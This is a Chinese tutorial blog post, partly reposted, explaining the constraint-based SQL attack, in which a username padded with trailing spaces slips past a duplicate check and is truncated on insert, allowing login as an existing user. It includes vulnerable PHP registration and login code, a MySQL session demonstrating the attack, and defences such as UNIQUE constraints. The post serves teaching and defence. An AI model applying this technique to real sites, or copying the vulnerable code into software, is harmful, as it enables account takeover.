1. 程式人生 > >基於約束的SQL攻擊 【電腦環境mysql實測漏洞已經修補】

基於約束的SQL攻擊 【電腦環境mysql實測漏洞已經修補】

               

注:以下部分講解內容來源http://www.freebuf.com/articles/web/124537.html,作者鳶尾

背景介紹

最近,我遇到了一個有趣的程式碼片段,開發者嘗試各種方法來確保資料庫的安全訪問。當新使用者嘗試註冊時,將執行以下程式碼:

<?php// Checking whether a user with the same username exists$username = mysql_real_escape_string($_GET['username']);$password = mysql_real_escape_string($_GET['password']);$query = "SELECT *          FROM users          WHERE username='$username'"
;$res = mysql_query($query, $database);if($res) {  if(mysql_num_rows($res) > 0) {    // User exists, exit gracefully    .    .  }  else {    // If not, only then insert a new entry    $query = "INSERT INTO users(username, password)              VALUES ('$username','$password')";    .    .  }}

使用以下程式碼驗證登入資訊:

<?php$username = mysql_real_escape_string($_GET['username']);$password = mysql_real_escape_string($_GET['password']);$query = "SELECT username FROM users          WHERE username='$username'              AND password='$password' ";$res = mysql_query($query, $database);if($res) {  if(mysql_num_rows($res) > 0
){      $row = mysql_fetch_assoc($res);      return $row['username'];  }}return Null;

安全考慮:

  • 過濾使用者輸入引數了嗎? — 完成檢查

  • 使用單引號(’)來增加安全性了嗎? — 完成檢查

按理說應該不會出錯了啊?

然而,攻擊者依然能夠以任意使用者身份進行登入!

攻擊手法

在談論這種攻擊手法之前,首先我們需要了解幾個關鍵知識點。

  1. 在SQL中執行字串處理時,字串末尾的空格符將會被刪除。換句話說“vampire”等同於“vampire ”,對於絕大多數情況來說都是成立的(諸如WHERE子句中的字串或INSERT語句中的字串)例如以下語句的查詢結果,與使用使用者名稱“vampire”進行查詢時的結果是一樣的。

    SELECT * FROM users WHERE username='vampire     ';

    但也存在異常情況,最好的例子就是LIKE子句了。注意,對尾部空白符的這種修剪操作,主要是在“字串比較”期間進行的。這是因為,SQL會在內部使用空格來填充字串,以便在比較之前使其它們的長度保持一致。

  2. 在所有的INSERT查詢中,SQL都會根據varchar(n)來限制字串的最大長度。也就是說,如果字串的長度大於“n”個字元的話,那麼僅使用字串的前“n”個字元。比如特定列的長度約束為“5”個字元,那麼在插入字串“vampire”時,實際上只能插入字串的前5個字元,即“vampi”。

現在,讓我們建立一個測試資料庫來演示具體攻擊過程。

vampire@linux:~$ mysql -u root -pmysql> CREATE DATABASE testing;Query OK, 1 row affected (0.03 sec)mysql> USE testing;Database changed

接著建立一個數據表users,其包含username和password列,並且欄位的最大長度限制為25個字元。然後,我將向username欄位插入“vampire”,向password欄位插入“my_password”。

mysql> CREATE TABLE users (    ->   username varchar(25),    ->   password varchar(25)    -> );Query OK, 0 rows affected (0.09 sec)mysql> INSERT INTO users    -> VALUES('vampire', 'my_password');Query OK, 1 row affected (0.11 sec)mysql> SELECT * FROM users;+----------+-------------+| username | password    |+----------+-------------+| vampire  | my_password |+----------+-------------+1 row inset (0.00 sec)

為了展示尾部空白字元的修剪情況,我們可以鍵入下列命令:

mysql> SELECT * FROM users    -> WHERE username='vampire       ';+----------+-------------+| username | password    |+----------+-------------+| vampire  | my_password |+----------+-------------+1 row in set (0.00 sec)

現在我們假設一個存在漏洞的網站使用了前面提到的PHP程式碼來處理使用者的註冊及登入過程。為了侵入任意使用者的帳戶(在本例中為“vampire”),只需要使用使用者名稱“vampire[許多空白符]1”和一個隨機密碼進行註冊即可。對於選擇的使用者名稱,前25個字元應該只包含vampire和空白字元,這樣做將有助於繞過檢查特定使用者名稱是否已存在的查詢。

mysql> SELECT * FROM users    -> WHERE username='vampire                   1';Empty set (0.00 sec)

需要注意的是,在執行SELECT查詢語句時,SQL是不會將字串縮短為25個字元的。因此,這裡將使用完整的字串進行搜尋,所以不會找到匹配的結果。接下來,當執行INSERT查詢語句時,它只會插入前25個字元。

mysql>   INSERT INTO users(username, password)    -> VALUES ('vampire                   1', 'random_pass');Query OK, 1 row affected, 1 warning (0.05 sec)mysql> SELECT * FROM users    -> WHERE username='vampire';+---------------------------+-------------+| username                  | password    |+---------------------------+-------------+| vampire                   | my_password || vampire                   | random_pass |+---------------------------+-------------+2 rows inset (0.00 sec)

很好,現在我們檢索“vampire”的,將返回兩個獨立使用者。注意,第二個使用者名稱實際上是“vampire”加上尾部的18個空格。現在,如果使用使用者名稱“vampire”和密碼“random_pass”登入的話,則所有搜尋該使用者名稱的SELECT查詢都將返回第一個資料記錄,也就是原始的資料記錄。這樣的話,攻擊者就能夠以原始使用者身份登入。這個攻擊已經在MySQL和SQLite上成功通過測試。我相信在其他情況下依舊適用。

防禦手段

毫無疑問,在進行軟體開發時,需要對此類安全漏洞引起注意。我們可採取以下幾項措施進行防禦:

  1. 將要求或者預期具有唯一性的那些列加上UNIQUE約束。實際上這是一個涉及軟體開發的重要規則,即使你的程式碼有維持其完整性的功能,也應該恰當的定義資料。由於’username’列具有UNIQUE約束,所以不能插入另一條記錄。將會檢測到兩個相同的字串,並且INSERT查詢將失敗。

  2. 最好使用’id’作為資料庫表的主鍵。並且資料應該通過程式中的id進行跟蹤

  3. 為了更加安全,還可以用手動調整輸入引數的限制長度(依照資料庫設定)

======================================以上部分來源轉載==========================================

注:以下內容來源個人測試:

首先建立表,限制了username的長度,下面進行測試

這個可以證明select無視username長度限制

很遺憾,經測試,我電腦這個版本的mysql已經修復這個漏洞(只可能在題目環境中出現了)

mysql版本如上